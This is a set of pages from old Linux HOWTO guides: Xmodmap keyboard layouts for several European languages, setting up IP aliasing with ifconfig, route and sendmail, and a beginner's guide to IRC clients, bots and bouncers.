clear Mod5

add Shift = Shift_L Shift_R

add Lock = Caps_Lock

add Control = Control_L Control_R

add Mod1 = Alt_L

!Mode_switch

add Mod2 = Mode_switch

4.5. French

clear Mod1

clear Mod2

keycode 9 = Escape Escape

keycode 10 = ampersand 1

keycode 11 = eacute 2 dead_tilde

keycode 12 = quotedbl 3 numbersign

keycode 13 = apostrophe 4 braceleft

keycode 14 = parenleft 5 bracketleft

keycode 15 = minus 6 bar

keycode 16 = egrave 7 dead_grave

keycode 17 = underscore 8 backslash

keycode 18 = ccedilla 9 asciicircum

keycode 19 = agrave 0 at

keycode 20 = parenright degree bracketright

keycode 21 = equal plus braceright

keycode 22 = BackSpace

keycode 23 = Tab Tab

keycode 24 = a

keycode 25 = z

keycode 26 = e E currency

keycode 27 = r

keycode 28 = t

keycode 29 = y

keycode 30 = u

keycode 31 = i

keycode 32 = o

keycode 33 = p

keycode 34 = dead_circumflex dead_diaeresis

keycode 35 = dollar sterling currency

keycode 36 = Return

keycode 37 = Control_L

keycode 38 = q

keycode 39 = s

keycode 40 = d

keycode 41 = f

keycode 42 = g

keycode 43 = h

keycode 44 = j

keycode 45 = k

keycode 46 = l

keycode 47 = m M

keycode 48 = ugrave percent

keycode 49 = twosuperior

keycode 50 = Shift_L

keycode 51 = asterisk mu

keycode 52 = w

keycode 53 = x

keycode 54 = c

keycode 55 = v

keycode 56 = b

keycode 57 = n

keycode 58 = comma question dead_cedilla

keycode 59 = semicolon period

keycode 60 = colon slash Multi_key

keycode 61 = exclam section

keycode 62 = Shift_R

keycode 63 = KP_Multiply

keycode 64 = Alt_L Meta_L

keycode 65 = space space

keycode 66 = Caps_Lock

keycode 67 = F1 F11

keycode 68 = F2 F12

keycode 69 = F3 F13

keycode 70 = F4 F14

keycode 71 = F5 F15

keycode 72 = F6 F16

keycode 73 = F7 F17

keycode 74 = F8 F18

keycode 75 = F9 F19

keycode 76 = F10 F20

keycode 77 = Num_Lock

keycode 78 = Scroll_Lock

keycode 79 = KP_7

keycode 80 = KP_8

keycode 81 = KP_9

keycode 82 = KP_Subtract

keycode 83 = KP_4

keycode 84 = KP_5

keycode 85 = KP_6

keycode 86 = KP_Add

keycode 87 = KP_1

keycode 88 = KP_2

keycode 89 = KP_3

keycode 90 = KP_0

keycode 92 = Sys_Req

keycode 94 = less greater bar

keycode 95 = F11 F11

keycode 96 = F12 F12

keycode 107 = Delete

keycode 108 = KP_Enter

keycode 109 = Control_R

keycode 112 = KP_Divide

keycode 113 = Mode_switch

keycode 114 = Break

keycode 110 = Find

keycode 98 = Up

keycode 99 = Prior

keycode 100 = Left

keycode 102 = Right

keycode 104 = Down

keycode 105 = Next

keycode 106 = Insert

! right windows-logo key

! in "windows" keyboards the postion of the key is annoying, is where AltGr

! usually resides, so go definie it as AltGr

keycode 116 = Mode_switch

! right windows-menu key

keycode 117 = Multi_key

add Mod1 = Alt_L

add Mod2 = Mode_switch

4.6. Croatian/Slovenian

clear Mod1

clear Mod2

keycode 9 = Escape

keycode 10 = 1 exclam asciitilde

keycode 11 = 2 quotedbl caron

keycode 12 = 3 numbersign asciicircum

keycode 13 = 4 dollar breve

keycode 14 = 5 percent degree

keycode 15 = 6 ampersand ogonek

keycode 16 = 7 slash grave

keycode 17 = 8 parenleft abovedot

keycode 18 = 9 parenright acute

keycode 19 = 0 equal doubleacute

keycode 20 = apostrophe question diaeresis

keycode 21 = plus asterisk cedilla

keycode 22 = Delete Delete

keycode 23 = Tab Tab

keycode 24 = q Q backslash

keycode 25 = w W bar

keycode 26 = e

keycode 27 = r

keycode 28 = t

keycode 29 = z

keycode 30 = u

keycode 31 = i

keycode 32 = o

keycode 33 = p

keycode 34 = scaron Scaron division

keycode 35 = dstroke Dstroke multiply

keycode 36 = Return

keycode 37 = Control_L

keycode 38 = a

keycode 39 = s

keycode 40 = d

keycode 41 = f F bracketleft

keycode 42 = g G bracketright

keycode 43 = h

keycode 44 = j

keycode 45 = k K lstroke

keycode 46 = l L Lstroke

keycode 47 = ccaron Ccaron

keycode 48 = cacute Cacute ssharp

keycode 49 = cedilla diaeresis

keycode 50 = Shift_L

keycode 51 = zcaron Zcaron currency

keycode 52 = y

keycode 53 = x

keycode 54 = c

keycode 55 = v V at

keycode 56 = b B braceleft

keycode 57 = n N braceright

keycode 58 = m M section

keycode 59 = comma semicolon

keycode 60 = period colon

keycode 61 = minus underscore

keycode 62 = Shift_R

keycode 63 = KP_Multiply

keycode 64 = Alt_L Meta_L

keycode 65 = space space

keycode 66 = Caps_Lock

keycode 67 = F1 F11

keycode 68 = F2 F12

keycode 69 = F3 F13

keycode 70 = F4 F14

keycode 71 = F5 F15

keycode 72 = F6 F16

keycode 73 = F7 F17

keycode 74 = F8 F18

keycode 75 = F9 F19

keycode 76 = F10 F20

keycode 77 = Num_Lock

keycode 78 = Scroll_Lock

keycode 79 = KP_7

keycode 80 = KP_8

keycode 81 = KP_9

keycode 82 = KP_Subtract

keycode 83 = KP_4

keycode 84 = KP_5

keycode 85 = KP_6

keycode 86 = KP_Add

keycode 87 = KP_1

keycode 88 = KP_2

keycode 89 = KP_3

keycode 90 = KP_0

keycode 91 = KP_Decimal

keycode 92 = X386Sys_Req

keycode 94 = less greater

keycode 95 = F11 F1

keycode 96 = F12 F12

keycode 108 = KP_Enter

keycode 109 = Control_R

keycode 112 = KP_Divide

keycode 113 = Mode_switch

keycode 114 = Break

keycode 110 = Find

keycode 98 = Up

keycode 99 = Prior

keycode 100 = Left

keycode 102 = Right

keycode 104 = Down

keycode 105 = Next

keycode 106 = Insert

add Mod1 = Alt_L

add Mod2 = Mode_switch

4.7. Lithuanian keyboard (AZERTY layout)

clear Mod1

clear Mod2

keycode 9 = Escape Escape

keycode 10 = exclam 1

keycode 11 = quotedbl 2 at

keycode 12 = slash 3 numbersign

keycode 13 = semicolon 4 dollar

keycode 14 = colon 5 percent

keycode 15 = comma 6 asciicircum

keycode 16 = period 7 ampersand

keycode 17 = question 8 asterisk

keycode 18 = parenleft 9

keycode 19 = parenright 0

keycode 20 = underscore minus minus underscore

keycode 21 = plus equal equal plus

keycode 22 = BackSpace

keycode 23 = Tab Tab

keycode 24 = aogonek Aogonek q Q

keycode 25 = zcaron Zcaron w W

keycode 26 = e E currency

keycode 27 = r

keycode 28 = t

keycode 29 = y

keycode 30 = u

keycode 31 = i

keycode 32 = o

keycode 33 = p

keycode 34 = iogonek Iogonek bracketleft braceleft

keycode 35 = leftdoublequotemark doublelowquotemark bracketright braceright

keycode 36 = Return

keycode 37 = Control_L

keycode 38 = a

keycode 39 = s

keycode 40 = d

keycode 41 = f

keycode 42 = g

keycode 43 = h

keycode 44 = j

keycode 45 = k

keycode 46 = l

keycode 47 = uogonek Uogonek semicolon colon

keycode 48 = eabovedot Eabovedot apostrophe quotedbl

keycode 49 = grave asciitilde

keycode 50 = Shift_L

keycode 51 = backslash bar

keycode 52 = z

keycode 53 = umacron Umacron x X

keycode 54 = c

keycode 55 = v

keycode 56 = b

keycode 57 = n

keycode 58 = m

keycode 59 = ccaron Ccaron comma less

keycode 60 = scaron Scaron period greater

keycode 61 = eogonek Eogonek slash question

keycode 62 = Shift_R

keycode 63 = KP_Multiply

keycode 64 = Alt_L Meta_L

keycode 65 = space space

keycode 66 = Caps_Lock

keycode 67 = F1 F11

keycode 68 = F2 F12

keycode 69 = F3 F13

keycode 70 = F4 F14

keycode 71 = F5 F15

keycode 72 = F6 F16

keycode 73 = F7 F17

keycode 74 = F8 F18

keycode 75 = F9 F19

keycode 76 = F10 F20

keycode 77 = Num_Lock

keycode 78 = Scroll_Lock

keycode 79 = KP_7

keycode 80 = KP_8

keycode 81 = KP_9

keycode 82 = KP_Subtract

keycode 83 = KP_4

keycode 84 = KP_5

keycode 85 = KP_6

keycode 86 = KP_Add

keycode 87 = KP_1

keycode 88 = KP_2

keycode 89 = KP_3

keycode 90 = KP_0

keycode 94 = less greater bar

keycode 95 = F11 F11

keycode 96 = F12 F12

keycode 108 = KP_Enter

keycode 109 = Control_R

keycode 112 = KP_Divide

keycode 113 = Mode_switch

keycode 114 = Break

keycode 110 = Find

keycode 98 = Up

keycode 99 = Prior

keycode 100 = Left

keycode 102 = Right

keycode 115 = Select

keycode 104 = Down

keycode 105 = Next

keycode 106 = Insert

! right windows-logo key

! in "windows" keyboards the postion of the key is annoying, is where AltGr

! usually resides, so go definie it as AltGr

keycode 116 = Mode_switch

! right windows-menu key, redefined as Compose key

keycode 117 = Multi_key

add Mod1 = Alt_L

add Mod2 = Mode_switch

4.8. Polish

! The "& 7" key generates 7, ampersand, and section

! The "E" key generates e, E, eogonek, and Eogonek

! The "O" key generates o, O, oacute, and Oacute

! The "A" key generates a, A, aogonek, and Aogonek

! The "S" key generates s, S, sacute, and Sacute

! The "L" key generates l, L, lstroke, and Lstroke

! The "Z" key generates z, Z, zabovedot, and Zabovedot

! The "X" key generates x, X, zacute, and Zacute

! The "C" key generates c, C, cacute, and Cacute

! The "N" key generates n, N, nacute, and Nacute

! The "AltGr" key generates Mode_switch

keycode 0x09 = Escape

keycode 0x43 = F1

keycode 0x44 = F2

keycode 0x45 = F3

keycode 0x46 = F4

keycode 0x47 = F5

keycode 0x48 = F6

keycode 0x49 = F7

keycode 0x4A = F8

keycode 0x4B = F9

keycode 0x4C = F10

keycode 0x5F = F11

keycode 0x60 = F12

keycode 0x6F = Print

keycode 0x4E = Multi_key

keycode 0x6E = Pause

keycode 0x31 = grave asciitilde

keycode 0x0A = 1 exclam

keycode 0x0B = 2 at

keycode 0x0C = 3 numbersign

keycode 0x0D = 4 dollar

keycode 0x0E = 5 percent

keycode 0x0F = 6 asciicircum

keycode 0x10 = 7 ampersand section

keycode 0x11 = 8 asterisk

keycode 0x12 = 9 parenleft

keycode 0x13 = 0 parenright

keycode 0x14 = minus underscore

keycode 0x15 = equal plus

keycode 0x33 = backslash bar

keycode 0x16 = BackSpace

keycode 0x6A = Insert

keycode 0x61 = Home

keycode 0x63 = Prior

keycode 0x4D = Num_Lock

keycode 0x70 = KP_Divide

keycode 0x3F = KP_Multiply

keycode 0x52 = KP_Subtract

keycode 0x17 = Tab

keycode 0x18 = Q

keycode 0x19 = W

keycode 0x1A = e E eogonek Eogonek

keycode 0x1B = R

keycode 0x1C = T

keycode 0x1D = Y

keycode 0x1E = U

keycode 0x1F = I

keycode 0x20 = o O oacute Oacute

keycode 0x21 = P

keycode 0x22 = bracketleft braceleft

keycode 0x23 = bracketright braceright

keycode 0x24 = Return

keycode 0x6B = Delete

keycode 0x67 = End

keycode 0x69 = Next

keycode 0x4F = KP_7

keycode 0x50 = KP_8

keycode 0x51 = KP_9

keycode 0x56 = KP_Add

keycode 0x42 = Caps_Lock

keycode 0x26 = a A aogonek Aogonek

keycode 0x27 = s S sacute Sacute

keycode 0x28 = D

keycode 0x29 = F

keycode 0x2A = G

keycode 0x2B = H

keycode 0x2C = J

keycode 0x2D = K

keycode 0x2E = l L lstroke Lstroke

keycode 0x2F = semicolon colon

keycode 0x30 = apostrophe quotedbl

keycode 0x53 = KP_4

keycode 0x54 = KP_5

keycode 0x55 = KP_6

keycode 0x32 = Shift_L

keycode 0x34 = z Z zabovedot Zabovedot

keycode 0x35 = x X zacute Zacute

keycode 0x36 = c C cacute Cacute

keycode 0x37 = V

keycode 0x38 = B

keycode 0x39 = n N nacute Nacute

keycode 0x3A = M

keycode 0x3B = comma less

keycode 0x3C = period greater Multi_key

keycode 0x3D = slash question

keycode 0x3E = Shift_R

keycode 0x62 = Up

keycode 0x57 = KP_1

keycode 0x58 = KP_2

keycode 0x59 = KP_3

keycode 0x6C = KP_Enter

keycode 0x25 = Control_L

keycode 0x40 = Alt_L Meta_L

keycode 0x41 = space

keycode 0x71 = Mode_switch

keycode 0x6D = Control_R

keycode 0x64 = Left

keycode 0x68 = Down

keycode 0x66 = Right

keycode 0x5A = KP_0

keycode 0x5B = KP_Decimal

! right windows-logo key

! in "windows" keyboards the postion of the key is annoying, is where AltGr

! usually resides, so go definie it as AltGr

keycode 116 = Mode_switch

! right windows-menu key keycode 117 = Multi_key

clear Shift

clear Lock

clear Control

clear Mod1

clear Mod2

clear Mod3

clear Mod4

clear Mod5

add Shift = Shift_L Shift_R

add Lock = Caps_Lock

add Control = Control_L Control_R

add Mod1 = Alt_L

!Mode_switch add Mod2 = Mode_switch

Prev | Home | Next
How this Xmodmap solution works on various systems |  | Troubleshooting and some Xmodmap tips


Troubleshooting and some Xmodmap tips

How to setup international keyboard in X Window with Xmodmap and XKB
Prev Next

5. Troubleshooting and some Xmodmap tips

5.1. Troubleshooting

Get the newest Linux distribution. Mandrake 8.1 or RedHat 7.2 work fantastically with regard to internationalization (which could not be said about the previous distributions). If locales are not installed, you must install them. The GNU C Library comes with a locale database, which you should have on your system. Upgrade your glibc. Troubleshooting of older versions of XFree or KDE is insignificant in my opinion, as the systems get better and better and people install newer versions.

Use the command:

locale -a

to see all the locales.

5.2. Tips

If you want to list the current keymap table, issue the command: xmodmap -pk | more

The xkeycaps program is a sort of graphical front-end for xmodmap. Start it and see which numbers mean which keycode.

To make the mouse buttons left-handed, use a command: xmodmap -e "pointer = 3 2 1"

To remove the CapsLock and change it to a control key, write this in your Xmodmap file:

remove Lock = Caps_Lock
keysym Caps_Lock = Control_L
add Control = Control_L

Prev | Home | Next
Some national Xmodmap files |  | Links


Links

How to setup international keyboard in X Window with Xmodmap and XKB
Prev

6. Links

6.1. Other information on internationalization

http://www.linuxfaq.com/HOWTO/Unicode-HOWTO.html Unicode HOWTO http://www.linuxfaq.com/HOWTO/Cyrillic-HOWTO.html Cyrillic HOWTO http://www.linuxfaq.com/HOWTO/Esperanto-HOWTO.html Esperanto HOWTO http://www.linuxfaq.com/HOWTO/Belgian-HOWTO.html Belgian HOWTO http://www.linuxfaq.com/HOWTO/Chinese-HOWTO.html Chinese HOWTO http://www.linuxfaq.com/HOWTO/Danish-HOWTO.html Danish HOWTO http://www.linuxfaq.com/HOWTO/Finnish-HOWTO.html Finnish HOWTO http://www.linuxfaq.com/HOWTO/French-HOWTO.html French HOWTO http://www.linuxfaq.com/HOWTO/German-HOWTO.html German HOWTO http://www.linuxfaq.com/HOWTO/Hebrew-HOWTO.html Hebrew HOWTO http://www.linuxfaq.com/HOWTO/Hellenic-HOWTO.html Hellenic HOWTO http://www.linuxfaq.com/HOWTO/Italian-HOWTO.html Italian HOWTO http://www.linuxfaq.com/HOWTO/Polish-HOWTO.html Polish HOWTO http://www.linuxfaq.com/HOWTO/Portuguese-HOWTO.html Portugese HOWTO http://www.linuxfaq.com/HOWTO/Serbian-HOWTO.html Serbian HOWTO http://www.linuxfaq.com/HOWTO/Slovenian-HOWTO.html Slovenian HOWTO http://www.linuxfaq.com/HOWTO/Spanish-HOWTO.html Spanish HOWTO http://www.linuxfaq.com/HOWTO/Thai-HOWTO.html Thai HOWTO http://www.linuxfaq.com/HOWTO/Turkish-HOWTO.html Turskish HOWTO

6.2. Links to some non ISO8859-1 fonts

ftp://ftp.redhat.com/pub/redhat/linux/7.2/en/os/i386/RedHat/RPMS/XFree86-ISO8859-15-100dpi-fonts-4.1.0-3.i386.rpm ftp://ftp.redhat.com/pub/redhat/linux/7.2/en/os/i386/RedHat/RPMS/XFree86-ISO8859-15-75dpi-fonts-4.1.0-3.i386.rpm ftp://ftp.redhat.com/pub/redhat/linux/7.2/en/os/i386/RedHat/RPMS/XFree86-ISO8859-2-100dpi-fonts-4.1.0-3.i386.rpm ftp://ftp.redhat.com/pub/redhat/linux/7.2/en/os/i386/RedHat/RPMS/XFree86-ISO8859-2-75dpi-fonts-4.1.0-3.i386.rpm

Note: This RedHat ftp directory contains more fonts, just look into the RPMdirectory above.

Prev | Home
Troubleshooting and some Xmodmap tips |


Acknowledgements

Setting up IP Aliasing on A Linux Machine Mini-HOWTO
Prev

4. Acknowledgements

Thanks to all those who have done this great work on Linux and IP Aliasing. And especially to Juan Jose Ciarlante for clarifying my questions.

Kudos to the ace programmers!

If you find this document useful or have suggestions on improvements, email me at <h.pillay@ieee.org>.

Enjoy.

For additional information on networking, you may want to consult the The Linux Networking Overview HOWTO.

Prev | Home
Troubleshooting: Questions and Answers |


Commands

Setting up IP Aliasing on A Linux Machine Mini-HOWTO
Prev Next

2. Commands

  1. Load the IP Alias module (you can skip this step if you compiled the module into the kernel):

    /sbin/insmod /lib/modules/`uname -r`/ipv4/ip_alias.o

  2. Setup the loopback, eth0, and all the IP addresses beginning with the main IP address for the eth0 interface:

    /sbin/ifconfig lo 127.0.0.1
/sbin/ifconfig eth0 up
/sbin/ifconfig eth0 172.16.3.1
/sbin/ifconfig eth0:0 172.16.3.10
/sbin/ifconfig eth0:1 172.16.3.100

    172.16.3.1 is the main IP address, while .10 and .100 are the aliases. The magic is the eth0:x where x=0,1,2,...n for the different IP addresses. The main IP address does not need to be aliased.

  3. Setup the routes. First route the loopback, then the net, and finally, the various IP addresses starting with the default (originally allocated) one:

    /sbin/route add -net 127.0.0.0
/sbin/route add -net 172.16.3.0 dev eth0
/sbin/route add -host 172.16.3.1 dev eth0
/sbin/route add -host 172.16.3.10 dev eth0:0
/sbin/route add -host 172.16.3.100 dev eth0:1
/sbin/route add default gw 172.16.3.200

    That's it.

In the example IP address above, I am using the Private IP addresses (RFC 1918) for illustrative purposes. Substitute them with your own official or private IP addresses.

The example shows only 3 IP addresses. The max is defined to be 256 in /usr/include/linux/net_alias.h. 256 IP addresses on ONE card is a lot :-)!

Here's what my /sbin/ifconfig looks like:

lo        Link encap:Local Loopback
           inet addr:127.0.0.1  Bcast:127.255.255.255  Mask:255.0.0.0
             UP BROADCAST LOOPBACK RUNNING  MTU:3584  Metric:1
            RX packets:5088 errors:0 dropped:0 overruns:0
            TX packets:5088 errors:0 dropped:0 overruns:0

eth0      Link encap:10Mbps Ethernet  HWaddr 00:8E:B8:83:19:20
            inet addr:172.16.3.1  Bcast:172.16.3.255  Mask:255.255.255.0
            UP BROADCAST RUNNING PROMISC MULTICAST  MTU:1500  Metric:1
            RX packets:334036 errors:0 dropped:0 overruns:0
            TX packets:11605 errors:0 dropped:0 overruns:0
            Interrupt:7 Base address:0x378

eth0:0    Link encap:10Mbps Ethernet  HWaddr 00:8E:B8:83:19:20
            inet addr:172.16.3.10  Bcast:172.16.3.255  Mask:255.255.255.0
            UP BROADCAST RUNNING  MTU:1500  Metric:1
            RX packets:0 errors:0 dropped:0 overruns:0
            TX packets:0 errors:0 dropped:0 overruns:0

eth0:1    Link encap:10Mbps Ethernet  HWaddr 00:8E:B8:83:19:20
            inet addr:172.16.3.100  Bcast:172.16.3.255  Mask:255.255.255.0
            UP BROADCAST RUNNING  MTU:1500  Metric:1
            RX packets:1 errors:0 dropped:0 overruns:0
            TX packets:0 errors:0 dropped:0 overruns:0

And /proc/net/aliases:

device         family    address
eth0:0           2      172.16.3.10
eth0:1           2      172.16.3.100

And /proc/net/alias_types:

type    name            n_attach
2       ip              2

Of course, the stuff in /proc/net was created by the ifconfig command and not by hand!

Prev | Home | Next
My Setup |  | Troubleshooting: Questions and Answers


Setting up IP Aliasing on A Linux Machine Mini-HOWTO

Harish Pillay

h.pillay@ieee.org

Joy Yokley - Converted document from HTML to DocBook v4.1 (SGML)

2001-01-23

Revision History
Revision 1.2 | 2001-01-26 | Revised by: JEY
Revision 1.1 | 2001-01-24 | Revised by: JEY
Revision 1.0 | 1997-01-13 | Revised by: HP

This is a cookbook recipe on how to set up and run IP aliasing on a Linux box and how to set up the machine to receive e-mail on the aliased IP addresses.

Table of Contents
1. My Setup
2. Commands
3. Troubleshooting: Questions and Answers
3.1. Question: How can I keep the settings through a reboot?
3.2. Question: How do I set up the IP aliased machine to receive e-mail on the various aliased IP addresses (on a machine using sendmail)?
4. Acknowledgements
Next
My Setup


My Setup

Setting up IP Aliasing on A Linux Machine Mini-HOWTO
Prev Next

1. My Setup

  • IP Alias is standard in kernels 2.0.x and 2.2.x, and available as a compile-time option in 2.4.x (IP Alias has been deprecated in 2.4.x and replaced by a more powerful firewalling mechanism.)

  • IP Alias compiled as a loadable module. You would have indicated in the "make config" command to make your kernel, that you want the IP Masq to be compiled as a (M)odule. Check the Modules HOW-TO (if that exists) or check the info in /usr/src/linux/Documentation/modules.txt.

  • I have to support 2 additional IPs over and above the IP already allocated to me.

  • A D-Link DE620 pocket adapter (not important, works with any Linux supported network adapter).

Prev | Home | Next
Setting up IP Aliasing on A Linux Machine Mini-HOWTO |  | Commands


Troubleshooting: Questions and Answers

Setting up IP Aliasing on A Linux Machine Mini-HOWTO
Prev Next

3. Troubleshooting: Questions and Answers

3.1. Question: How can I keep the settings through a reboot?

Answer: Whether you are using BSD-style or SysV-style (Redhat™ for example) init, you can always include it in /etc/rc.d/rc.local. Here's what I have on my SysV init system (Redhat™ 3.0.3 and 4.0):

My /etc/rc.d/rc.local: (edited to show the relevant portions)

#setting up IP alias interfaces
echo "Setting 172.16.3.1, 172.16.3.10, 172.16.3.100 IP Aliases ..."
/sbin/ifconfig lo 127.0.0.1
/sbin/ifconfig eth0 up
/sbin/ifconfig eth0 172.16.3.1
/sbin/ifconfig eth0:0 172.16.3.10
/sbin/ifconfig eth0:1 172.16.3.100
#setting up the routes
echo "Setting IP routes ..."
/sbin/route add -net 127.0.0.0
/sbin/route add -net 172.16.3.0 dev eth0
/sbin/route add -host 172.16.3.1 eth0
/sbin/route add -host 172.16.3.10 eth0:0
/sbin/route add -host 172.16.3.100 eth0:1
/sbin/route add default gw 172.16.3.200
#

3.2. Question: How do I set up the IP aliased machine to receive e-mail on the various aliased IP addresses (on a machine using sendmail)?

Answer: Create (if it doesn't already exist) a file called, /etc/mynames.cw,for example. The file does not have to be this exact name nor in the /etc directory.

In that file, place the official domain names of the aliased IP addresses. If these aliased IP addresses do not have a domain name, then you can place the IP address itself.

The /etc/mynames.cw might look like this:

# /etc/mynames.cw - include all aliases for your machine here; # is a comment
domain.one.net
domain.two.com
domain.three.org
4.5.6.7

In your sendmail.cf file, where it defines a file class macro Fw, add the following:

##################
#   local info   #
##################

# file containing names of hosts for which we receive email
Fw/etc/mynames.cw

That should do it. Test out the new setting by invoking sendmail in test mode. The following is an example:

ganymede$ /usr/lib/sendmail -bt
ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter < ruleset> < address>
> 0 me@4.5.6.7
rewrite: ruleset  0   input: me @ 4 . 5 . 6 . 7
rewrite: ruleset 98   input: me @ 4 . 5 . 6 . 7
rewrite: ruleset 98 returns: me @ 4 . 5 . 6 . 7
rewrite: ruleset 97   input: me @ 4 . 5 . 6 . 7
rewrite: ruleset  3   input: me @ 4 . 5 . 6 . 7
rewrite: ruleset 96   input: me < @ 4 . 5 . 6 . 7 >
rewrite: ruleset 96 returns: me < @ 4 . 5 . 6 . 7 . >
rewrite: ruleset  3 returns: me < @ 4 . 5 . 6 . 7 . >
rewrite: ruleset  0   input: me < @ 4 . 5 . 6 . 7 . >
rewrite: ruleset 98   input: me < @ 4 . 5 . 6 . 7 . >
rewrite: ruleset 98 returns: me < @ 4 . 5 . 6 . 7 . >
rewrite: ruleset  0 returns: $# local $: me
rewrite: ruleset 97 returns: $# local $: me
rewrite: ruleset  0 returns: $# local $: me
> 0 me@4.5.6.8
rewrite: ruleset  0   input: me @ 4 . 5 . 6 . 8
rewrite: ruleset 98   input: me @ 4 . 5 . 6 . 8
rewrite: ruleset 98 returns: me @ 4 . 5 . 6 . 8
rewrite: ruleset 97   input: me @ 4 . 5 . 6 . 8
rewrite: ruleset  3   input: me @ 4 . 5 . 6 . 8
rewrite: ruleset 96   input: me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset 96 returns: me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset  3 returns: me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset  0   input: me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset 98   input: me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset 98 returns: me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset 95   input: < > me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset 95 returns: me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset  0 returns: $# smtp $@ 4 . 5 . 6 . 8 $: me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset 97 returns: $# smtp $@ 4 . 5 . 6 . 8 $: me < @ 4 . 5 . 6 . 8 >
rewrite: ruleset  0 returns: $# smtp $@ 4 . 5 . 6 . 8 $: me < @ 4 . 5 . 6 . 8 >
>

Notice when I tested me@4.5.6.7, it delivered the mail to the local machine, while me@4.5.6.8 was handed off to the smtp mailer. That is the correct response.

You are all set now.

Prev | Home | Next
Commands |  | Acknowledgements


About IRC

Linux IRC mini-HOWTO
Prev Next

2. About IRC

Excerpt from RFC2810:

The IRC (Internet Relay Chat) protocol is for use with text based conferencing. It has been developed since 1989 when it was originally implemented as a mean for users on a BBS to chat amongst themselves.

First formally documented in May 1993 by RFC 1459 [IRC], the protocol has kept evolving.

The IRC Protocol is based on the client-server model, and is well suited to running on many machines in a distributed fashion. A typical setup involves a single process (the server) forming a central point for clients (or other servers) to connect to, performing the required message delivery/multiplexing and other functions.

This distributed model, which requires each server to have a copy of the global state information, is still the most flagrant problem of the protocol as it is a serious handicap, which limits the maximum size a network can reach. If the existing networks have been able keep growing at an incredible pace, we must thank hardware manufacturers for giving us ever more powerful systems.

Prev | Home | Next
Introduction |  | Beginner's guide on using IRC


Beginner's guide on using IRC

Linux IRC mini-HOWTO
Prev Next

3. Beginner's guide on using IRC

The standard IRC client is the original ircII client. It's part of most Linux distributions.

3.1. Running the ircII program

It's easy to use ircII. Let's say you want to connect to irc.openprojects.net as mini-HOWTO.

At the command line, type:

$ irc mini-HOWTO irc.openprojects.net

You can also export variables, so you won't need to use them at the command line:

$ export IRCNICK=mini-HOWTO IRCSERVER=irc.openprojects.net

Add them to your shell profile (e.g. ~/.bash_profile or ~/.zprofile) when you're done.

Other common variables are IRCNAME and IRCUSER, to respectively set the ircname part of a /whois and username as seen at the first line 'mini-HOWTO is ~username@hostname (ircname)'. Keep in mind that IRCUSER won't work if you run an ident daemon (default on most distributions). If you still need to change your username (not recommended, and I hope you're not using IRC logged as root !), install oidentd from http://ojnk.sourceforge.net/, create /etc/identd.spoof with a list of users allowed to spoof their ident, and ~/.ispoof with their reply (e.g. reply). Finally run '/usr/local/sbin/oidentd -g nobody -N -s -u nobody'. Add this to your startup scripts (e.g. /etc/rc.d/rc.local) when you're done.

If not set, IRCNICK, IRCUSER, and IRCNAME will be retrieved from /etc/passwd .

3.2. Commands

Use /help to get a list on all available commands (/help help is a good start). Replace nick by any IRCNICK.

  • First, /set NOVICE off

  • /nick IRC-mini-HOWTO changes your IRCNICK to IRC-mini-HOWTO

  • /set realname The Linux IRC mini-HOWTO changes your IRCNAME to The Linux IRC mini-HOWTO (doesn't change on the same connection)

  • /j #LinPeople joins channel #LinPeople

  • /j #Slackware joins channel #Slackware

  • /j #LinPeople changes the active current channel to #LinPeople

  • /msg nick Hi. sends a private message to nick containing Hi.

  • /notice nick (or #LinPeople) Hi. sends a notice to nick (or #LinPeople) containing Hi.

  • /query nick starts a private conversation with nick. /query ends the private conversation

  • /me loves Linux. sends an action to the current channel or query containing IRC-mini-HOWTO loves Linux.

  • /dcc chat nick starts a chat with nick. Use /msg =nick (notice the =) to send messages over the chat

  • /dcc send nick /etc/HOSTNAME sends the given file to nick

  • /dcc get nick receives the file offered by nick

  • /part leaves the active current channel

  • /part #Slackware leaves channel #Slackware

  • /discon disconnects from current IRCSERVER

  • /server irc.dal.net connects to IRCSERVER irc.dal.net

  • /quit Bye. quits your IRC session with a reason Bye.

3.3. IRC Etiquette

WARNING WARNING WARNING WARNING WARNING

  • Never use IRC logged as root or any user with excessive privileges. Bad things may happen sooner or later. You were warned. It's safe if you create 2 users, one of them to only use IRC.

$ man adduser

On Linux channels you shouldn't:

  • Act as an idiot. If you want to be respected, then first respect each other.

  • Use colors (^C). Most Linux users don't tolerate such mIRC crazes, and ircII doesn't really support them. The same should apply for ANSI.

  • Use full CAPS, bold (^B), reverse (^V), underline (^_), blink (^F), and bell (^G). The first 4 are here to emphasize words, not the whole text. The last 2 are just very annoying.

  • Ask if you can ask a question. Just ask, but first read all documentation available on the subject. Start looking at /usr/doc/ , otherwise go to http://www.linuxdoc.org/ or http://www.ibiblio.org/pub/Linux/docs/. And don't repeat your question immediately. Wait at least 10 minutes. If you don't get any answer it's because nobody knows or wants to help. Respect their choice, they're not your personal assistant. Also never send mass private messages. It's like SPAM.

Prev | Home | Next
About IRC |  | Console IRC Clients


IRC Bots

Linux IRC mini-HOWTO
Prev Next

7. IRC Bots

7.1. eggdrop

Maintainer: (<eggdev @ eggheads.org>)

IRC Channel: #eggdrop on Undernet

eggdrop is the most known Tcl enabled application on the Net. It's a channel robot for IRC that can be tailored to any situation.

You can get the latest version of eggdrop from ftp://ftp.eggheads.org/pub/eggdrop/source/. Homepage at http://www.eggheads.org/.

Prev | Home | Next
IRC Servers |  | IRC Bouncers (IRC Proxy)


IRC Bouncers (IRC Proxy)

Linux IRC mini-HOWTO
Prev Next

8. IRC Bouncers (IRC Proxy)

8.1. bnc

Maintainer: None ?

IRC Channel: None ?

bnc is the original bouncer.

You can get the latest version of bnc from LinuxBerg.

8.2. muh

Maintainer: Sebastian Kienzl (<zap @ riot.org>)

IRC Channel: None ?

muh is a smart and versatile irc-bouncing tool that will also go on IRC as soon as it's launched, guarding or attempting to get your nick.

You can get the latest version of muh from http://mind.riot.org/muh/download.rt. Homepage at http://mind.riot.org/muh/.

8.3. ezbounce

Maintainer: Murat Deligönül (<druglord @ freelsd.org>)

IRC Channel: None ?

ezbounce's basic features include password protection, remote administration, logging and listening on multiple ports.

